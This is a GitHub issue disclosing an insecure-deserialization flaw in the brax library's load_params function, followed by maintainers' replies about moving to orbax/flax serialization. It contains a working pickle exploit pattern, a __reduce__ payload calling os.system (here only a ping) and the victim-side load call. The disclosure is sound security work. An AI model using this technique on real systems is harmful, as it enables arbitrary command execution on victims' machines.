Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Insecure Deserialization attack on pickle.loads #570

Open
omidxrz opened this issue Jan 8, 2025 · 2 comments
Open

Insecure Deserialization attack on pickle.loads #570

omidxrz opened this issue Jan 8, 2025 · 2 comments

Comments

@omidxrz
Copy link

omidxrz commented Jan 8, 2025

I noticed that there is a module named load_params that passes user input directly into pickle , which allows an attacker to execute system commands with insecure deserialization attack on the victim’s system.

Vulnerable Function

def load_params(path: str) -> Any:

Exploit Code (Attacker Side):

import pickle
import os

class MaliciousCode:
    def __reduce__(self):
        return (os.system, ("ping 'google.com'",))

with open('malicious.pkl', 'wb') as f:
    pickle.dump(MaliciousCode(), f)

Exploit Code (Victim Side):

from brax.io import model
model.load_params("malicious.pkl")
@btaba
Copy link
Collaborator

btaba commented Jan 20, 2025

Acknowledged, this has been on our TODO for some time. I implemented orbax checkpointing in PPO

orbax_checkpointer = ocp.PyTreeCheckpointer()
as a start. But a bigger refactor is needed to bubble up this kind of logic into load_params, since the target state needs to be provided AOT when loading the params.

The flax serializer has a similar requirement, the target needs to be defined AOT. The right thing to do is to perhaps nix model.load_params and save_params altogether, and rely entirely on a flax/nnx/orbax serializer (along with a model config to generate the target pytree).

Happy to review any PRs if someone wants to take a look.

@btaba
Copy link
Collaborator

btaba commented Jan 31, 2025

8526f9a starts to address this

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants